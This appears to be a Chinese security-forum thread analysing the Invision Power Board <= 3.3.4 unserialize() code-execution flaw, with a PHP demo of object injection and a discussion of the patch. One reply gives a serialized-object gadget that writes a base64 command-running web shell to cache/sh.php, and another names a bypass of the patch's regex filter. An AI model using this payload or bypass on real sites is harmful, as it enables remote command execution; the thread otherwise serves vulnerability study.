当前位置:WooYun(白帽子技术社区) >> php >> Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution
Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution
-
@xsser 你要的漏洞原理代码(请使用命令行执行查看结果)
index_harm.php<?php
/**
* 恶意修改one_class内的公有属性代码
* @version $Id$
*/
class one_class{
public $version = '999.0';
public $debug = true;
public function method_2(){
}
}
echo serialize(new one_class());
index.php<?php
/**
* Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution漏洞成因代码简化版
* @link http://www.exploit-db.com/exploits/22398/
* @version $Id$
*/
/**
* one_class(含有完整功能的示例类)
*/
class one_class{
/**
* 随机分配的运行id
* @var int
*/
private $id = 0;
/**
* 版本号(PHP 5设置属性为公有访问的写法)
* @var string
* @access public
*/
public $version = '1.0';
/**
* 调试模式?(PHP 4属性写法,均为公有访问)
* @var string
* @access public
*/
var $debug = false;
/**
* 魔术方法:创建类实例时调用
* @return one_class
*/
public function __construct(){
$this->id = mt_rand(1, 100000);
echo "[id:{$this->id}]". '__construct >>>>>> Version:'. $this->version. "\r\n";
}
/**
* 魔术方法:unserialize()调用的方法,按照手册说法,用于“预先准备对象数据”。
*/
public function __wakeup(){
echo "[id:{$this->id}]". '__wakeup >>>>>> Version:'. $this->version. "\r\n";
}
/**
* 魔术方法:对象被销毁前所调用方法
*/
public function __destruct(){
if(true === $this->debug){
echo "[id:{$this->id}]". '__destruct >>>>>> Version:'. $this->version. ' Writing Log...'. "\r\n";
}else{
echo "[id:{$this->id}]". '__destruct >>>>>> Version:'. $this->version. ' Ignore Log...'. "\r\n";
}
}
}
echo "\r\n//////normal_class_var DEMO BEGIN.//////\r\n";
/**
* 正常的、不修改任何属性的类,其活动轨迹为__construct()和__destruct()
* 所以,随机分配的运行id必为大于0的值,并且debug状态为false
*/
$normal_class_var = new one_class();
var_dump($normal_class_var);
echo "\r\n//////normal_class_var DEMO FINISH...REALLY FINISH?!//////\r\n\r\n\r\n";
/**
* unserialize时,并不会调用__construct(),而会调用__wakeup(),这导致随机分配的运行id必等于0的值
* $exp_serialized_data则演示了,如何通过unserialize修改公有属性,从而产生debug被打开,并在后续进行__destruct时触发漏洞。
* $exp_serialized_data的内容获取方法请参考index_harm.php
* @var string
*/
$exp_serialized_data = 'O:9:"one_class":2:{s:7:"version";s:5:"999.0";s:5:"debug";b:1;}';
echo "\r\n//////exp_serialized_data DEMO BEGIN.//////\r\n";
$exp_serialized_data = unserialize($exp_serialized_data);
var_dump($exp_serialized_data);
echo "\r\n//////exp_serialized_data DEMO FINISH...REALLY FINISH?!//////\r\n\r\n\r\n";
-
IPB修补代码IPSLib::safeUnserialize()来源:
http://cn2.php.net/manual/zh/function.unserialize.php#106411
有趣的是,代码来源还附了一个09年的相似案例:Piwik Cookie Unserialize() Vulnerability
http://www.suspekt.org/2009/12/09/advisory-032009-piwik-cookie-unserialize-vulnerability/ -
把php代码放在$obj['shutdown_queries']里就对short_tag_open没要求了。
class db_driver_mysql
{
public $obj = array('use_debug_log' => 1, 'debug_log' => 'cache/sh.php', 'shutdown_queries' => array('<?php error_reporting(0);print(___);passthru(base64_decode($_SERVER[HTTP_CMD]));die;?>'));
} -
http://adminextra.com/threads/ip-board-3-1-x-3-2-x-and-3-3-x-hacked.6125/
ipb官方提供的补丁:else if ( ! preg_match('/(^|;|{|})O:[0-9]+:"/', $serialized ) )
{
// in case we did have a string with O: in it,
// but it was not a true serialized object
return @unserialize( $serialized );
}
不过被se神人喷了个狗血淋头:The regular expression '/(^|;|{|})O:[0-9]+:"/' is easily bypassed because of a bunch of unserialize() parser quirks.
O:+17: is just one of many :P -
@GaRY php中使用serialize的原因很简单:只有它才可以精确地以相对安全的以字符串形式保存php变量(memcache等缓存方案默认也是基于serialize来做的);其它方案中,json、urlstring等方式都会存在精度和数据丢失问题,var_export+eval危害什么的你懂的。
如果源头控制unserialize,不允许object形式,应该会好一些,但这会使得某些全oop程序陷入麻烦中。
话说,我也很想知道这些quirks,而且现在php手册中竟然没了之前我提过的内容,估计是被喷怕了,删掉了......
PS:就这个漏洞而言,主要是ipb db_driver_mysql的父类(忘了是哪个了)有个公有属性$obj,在__destruct()中部分逻辑会依据公有属性$obj控制一些日志写入。